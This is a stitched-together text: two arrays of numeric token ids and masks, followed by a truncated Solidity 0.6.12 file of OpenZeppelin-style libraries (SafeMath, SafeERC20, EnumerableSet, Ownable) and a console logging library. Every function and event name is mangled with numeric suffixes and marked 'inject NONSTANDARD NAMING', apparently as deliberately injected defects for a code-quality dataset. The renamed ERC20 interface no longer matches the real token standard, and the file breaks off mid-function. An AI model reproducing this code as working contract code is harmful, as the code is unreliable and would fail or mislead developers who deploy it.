[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 2583, 12, 2867, 12, 2211, 2934, 12296, 1545, 7232, 16, 296, 16351, 11013, 353, 4885, 5264, 8284, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.6.12; interface IERC20 { function TOTALSUPPLY831() external view returns (uint256); //inject NONSTANDARD NAMING function BALANCEOF536(address account) external view returns (uint256); //inject NONSTANDARD NAMING function TRANSFER353(address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING function ALLOWANCE946(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING function APPROVE926(address spender, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING function TRANSFERFROM954(address sender, address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING event TRANSFER795(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING event APPROVAL172(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING } library SafeMath { function ADD659(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function SUB877(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return SUB877(a, b, "SafeMath: subtraction overflow"); } function SUB877(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b <= a, errorMessage); uint256 c = a - b; return c; } function MUL487(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function DIV156(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return DIV156(a, b, "SafeMath: division by zero"); } function DIV156(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function MOD860(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return MOD860(a, b, "SafeMath: modulo by zero"); } function MOD860(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b != 0, errorMessage); return a % b; } } library Address { function ISCONTRACT107(address account) internal view returns (bool) { //inject NONSTANDARD NAMING // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function SENDVALUE513(address payable recipient, uint256 amount) internal { //inject NONSTANDARD NAMING require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function SAFETRANSFER239(IERC20 token, address to, uint256 value) internal { //inject NONSTANDARD NAMING _CALLOPTIONALRETURN137(token, abi.encodeWithSelector(token.TRANSFER353.selector, to, value)); } function SAFETRANSFERFROM64(IERC20 token, address from, address to, uint256 value) internal { //inject NONSTANDARD NAMING _CALLOPTIONALRETURN137(token, abi.encodeWithSelector(token.TRANSFERFROM954.selector, from, to, value)); } function SAFEAPPROVE765(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.ALLOWANCE946(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _CALLOPTIONALRETURN137(token, abi.encodeWithSelector(token.APPROVE926.selector, spender, value)); } function SAFEINCREASEALLOWANCE134(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING uint256 newAllowance = token.ALLOWANCE946(address(this), spender).ADD659(value); _CALLOPTIONALRETURN137(token, abi.encodeWithSelector(token.APPROVE926.selector, spender, newAllowance)); } function SAFEDECREASEALLOWANCE546(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING uint256 newAllowance = token.ALLOWANCE946(address(this), spender).SUB877(value, "SafeERC20: decreased allowance below zero"); _CALLOPTIONALRETURN137(token, abi.encodeWithSelector(token.APPROVE926.selector, spender, newAllowance)); } function _CALLOPTIONALRETURN137(IERC20 token, bytes memory data) private { //inject NONSTANDARD NAMING // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).ISCONTRACT107(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } function _ADD286(Set storage set, bytes32 value) private returns (bool) { //inject NONSTANDARD NAMING if (!_CONTAINS837(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } function _REMOVE863(Set storage set, bytes32 value) private returns (bool) { //inject NONSTANDARD NAMING // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } function _CONTAINS837(Set storage set, bytes32 value) private view returns (bool) { //inject NONSTANDARD NAMING return set._indexes[value] != 0; } function _LENGTH639(Set storage set) private view returns (uint256) { //inject NONSTANDARD NAMING return set._values.length; } function _AT524(Set storage set, uint256 index) private view returns (bytes32) { //inject NONSTANDARD NAMING require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } function ADD659(AddressSet storage set, address value) internal returns (bool) { //inject NONSTANDARD NAMING return _ADD286(set._inner, bytes32(uint256(value))); } function REMOVE976(AddressSet storage set, address value) internal returns (bool) { //inject NONSTANDARD NAMING return _REMOVE863(set._inner, bytes32(uint256(value))); } function CONTAINS600(AddressSet storage set, address value) internal view returns (bool) { //inject NONSTANDARD NAMING return _CONTAINS837(set._inner, bytes32(uint256(value))); } function LENGTH659(AddressSet storage set) internal view returns (uint256) { //inject NONSTANDARD NAMING return _LENGTH639(set._inner); } function AT450(AddressSet storage set, uint256 index) internal view returns (address) { //inject NONSTANDARD NAMING return address(uint256(_AT524(set._inner, index))); } // UintSet struct UintSet { Set _inner; } function ADD659(UintSet storage set, uint256 value) internal returns (bool) { //inject NONSTANDARD NAMING return _ADD286(set._inner, bytes32(value)); } function REMOVE976(UintSet storage set, uint256 value) internal returns (bool) { //inject NONSTANDARD NAMING return _REMOVE863(set._inner, bytes32(value)); } function CONTAINS600(UintSet storage set, uint256 value) internal view returns (bool) { //inject NONSTANDARD NAMING return _CONTAINS837(set._inner, bytes32(value)); } function LENGTH659(UintSet storage set) internal view returns (uint256) { //inject NONSTANDARD NAMING return _LENGTH639(set._inner); } function AT450(UintSet storage set, uint256 index) internal view returns (uint256) { //inject NONSTANDARD NAMING return uint256(_AT524(set._inner, index)); } } contract Initializable { bool private initialized; bool private initializing; modifier INITIALIZER933() { //inject NONSTANDARD NAMING require(initializing || ISCONSTRUCTOR543() || !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } function ISCONSTRUCTOR543() private view returns (bool) { //inject NONSTANDARD NAMING // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } contract ContextUpgradeSafe is Initializable { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. function __CONTEXT_INIT408() internal INITIALIZER933 { //inject NONSTANDARD NAMING __CONTEXT_INIT_UNCHAINED28(); } function __CONTEXT_INIT_UNCHAINED28() internal INITIALIZER933 { //inject NONSTANDARD NAMING } function _MSGSENDER195() internal view virtual returns (address payable) { //inject NONSTANDARD NAMING return msg.sender; } function _MSGDATA356() internal view virtual returns (bytes memory) { //inject NONSTANDARD NAMING this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } contract OwnableUpgradeSafe is Initializable, ContextUpgradeSafe { address private _owner; event OWNERSHIPTRANSFERRED637(address indexed previousOwner, address indexed newOwner); //inject NONSTANDARD NAMING function __OWNABLE_INIT503() internal INITIALIZER933 { //inject NONSTANDARD NAMING __CONTEXT_INIT_UNCHAINED28(); __OWNABLE_INIT_UNCHAINED19(); } function __OWNABLE_INIT_UNCHAINED19() internal INITIALIZER933 { //inject NONSTANDARD NAMING address msgSender = _MSGSENDER195(); _owner = msgSender; emit OWNERSHIPTRANSFERRED637(address(0), msgSender); } function OWNER330() public view returns (address) { //inject NONSTANDARD NAMING return _owner; } modifier ONLYOWNER691() { //inject NONSTANDARD NAMING require(_owner == _MSGSENDER195(), "Ownable: caller is not the owner"); _; } function RENOUNCEOWNERSHIP236() public virtual ONLYOWNER691 { //inject NONSTANDARD NAMING emit OWNERSHIPTRANSFERRED637(_owner, address(0)); _owner = address(0); } function TRANSFEROWNERSHIP889(address newOwner) public virtual ONLYOWNER691 { //inject NONSTANDARD NAMING require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OWNERSHIPTRANSFERRED637(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } interface INBUNIERC20 { function TOTALSUPPLY831() external view returns (uint256); //inject NONSTANDARD NAMING function BALANCEOF536(address account) external view returns (uint256); //inject NONSTANDARD NAMING function TRANSFER353(address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING function ALLOWANCE946(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING function APPROVE926(address spender, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING function TRANSFERFROM954(address sender, address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING event TRANSFER795(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING event APPROVAL172(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING event LOG470(string log); //inject NONSTANDARD NAMING } library console { address constant console_address243 = address(0x000000000000000000636F6e736F6c652e6c6f67); //inject NONSTANDARD NAMING function _SENDLOGPAYLOAD647(bytes memory payload) private view { //inject NONSTANDARD NAMING uint256 payloadLength = payload.length; address consoleAddress = console_address243; assembly { let payloadStart := add(payload, 32) let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0) } } function LOG714() internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log()")); } function LOGINT241(int p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(int)", p0)); } function LOGUINT442(uint p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint)", p0)); } function LOGSTRING55(string memory p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string)", p0)); } function LOGBOOL721(bool p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool)", p0)); } function LOGADDRESS713(address p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address)", p0)); } function LOGBYTES271(bytes memory p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes)", p0)); } function LOGBYTE944(byte p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(byte)", p0)); } function LOGBYTES1701(bytes1 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes1)", p0)); } function LOGBYTES2946(bytes2 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes2)", p0)); } function LOGBYTES314(bytes3 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes3)", p0)); } function LOGBYTES4424(bytes4 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes4)", p0)); } function LOGBYTES566(bytes5 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes5)", p0)); } function LOGBYTES6220(bytes6 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes6)", p0)); } function LOGBYTES7640(bytes7 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes7)", p0)); } function LOGBYTES8995(bytes8 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes8)", p0)); } function LOGBYTES9199(bytes9 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes9)", p0)); } function LOGBYTES10336(bytes10 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes10)", p0)); } function LOGBYTES11706(bytes11 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes11)", p0)); } function LOGBYTES12632(bytes12 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes12)", p0)); } function LOGBYTES13554(bytes13 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes13)", p0)); } function LOGBYTES14593(bytes14 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes14)", p0)); } function LOGBYTES15340(bytes15 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes15)", p0)); } function LOGBYTES16538(bytes16 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes16)", p0)); } function LOGBYTES17699(bytes17 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes17)", p0)); } function LOGBYTES18607(bytes18 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes18)", p0)); } function LOGBYTES19918(bytes19 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes19)", p0)); } function LOGBYTES20388(bytes20 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes20)", p0)); } function LOGBYTES21100(bytes21 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes21)", p0)); } function LOGBYTES22420(bytes22 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes22)", p0)); } function LOGBYTES238(bytes23 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes23)", p0)); } function LOGBYTES24936(bytes24 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes24)", p0)); } function LOGBYTES25750(bytes25 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes25)", p0)); } function LOGBYTES26888(bytes26 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes26)", p0)); } function LOGBYTES2749(bytes27 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes27)", p0)); } function LOGBYTES28446(bytes28 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes28)", p0)); } function LOGBYTES29383(bytes29 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes29)", p0)); } function LOGBYTES30451(bytes30 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes30)", p0)); } function LOGBYTES31456(bytes31 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes31)", p0)); } function LOGBYTES32174(bytes32 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes32)", p0)); } function LOG714(uint p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint)", p0)); } function LOG714(string memory p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string)", p0)); } function LOG714(bool p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool)", p0)); } function LOG714(address p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address)", p0)); } function LOG714(uint p0, uint p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint)", p0, p1)); } function LOG714(uint p0, string memory p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string)", p0, p1)); } function LOG714(uint p0, bool p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool)", p0, p1)); } function LOG714(uint p0, address p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address)", p0, p1)); } function LOG714(string memory p0, uint p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint)", p0, p1)); } function LOG714(string memory p0, string memory p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string)", p0, p1)); } function LOG714(string memory p0, bool p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool)", p0, p1)); } function LOG714(string memory p0, address p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address)", p0, p1)); } function LOG714(bool p0, uint p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint)", p0, p1)); } function LOG714(bool p0, string memory p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string)", p0, p1)); } function LOG714(bool p0, bool p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool)", p0, p1)); } function LOG714(bool p0, address p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address)", p0, p1)); } function LOG714(address p0, uint p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint)", p0, p1)); } function LOG714(address p0, string memory p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string)", p0, p1)); } function LOG714(address p0, bool p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool)", p0, p1)); } function LOG714(address p0, address p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address)", p0, p1)); } function LOG714(uint p0, uint p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2)); } function LOG714(uint p0, uint p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2)); } function LOG714(uint p0, uint p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2)); } function LOG714(uint p0, uint p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2)); } function LOG714(uint p0, string memory p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2)); } function LOG714(uint p0, string memory p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2)); } function LOG714(uint p0, string memory p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2)); } function LOG714(uint p0, string memory p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2)); } function LOG714(uint p0, bool p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2)); } function LOG714(uint p0, bool p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2)); } function LOG714(uint p0, bool p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2)); } function LOG714(uint p0, bool p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2)); } function LOG714(uint p0, address p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2)); } function LOG714(uint p0, address p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2)); } function LOG714(uint p0, address p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2)); } function LOG714(uint p0, address p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2)); } function LOG714(string memory p0, uint p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2)); } function LOG714(string memory p0, uint p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2)); } function LOG714(string memory p0, uint p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2)); } function LOG714(string memory p0, uint p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2)); } function LOG714(string memory p0, string memory p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2)); } function LOG714(string memory p0, string memory p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2)); } function LOG714(string memory p0, string memory p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2)); } function LOG714(string memory p0, string memory p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2)); } function LOG714(string memory p0, bool p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2)); } function LOG714(string memory p0, bool p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2)); } function LOG714(string memory p0, bool p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2)); } function LOG714(string memory p0, bool p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2)); } function LOG714(string memory p0, address p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2)); } function LOG714(string memory p0, address p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2)); } function LOG714(string memory p0, address p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2)); } function LOG714(string memory p0, address p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2)); } function LOG714(bool p0, uint p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, 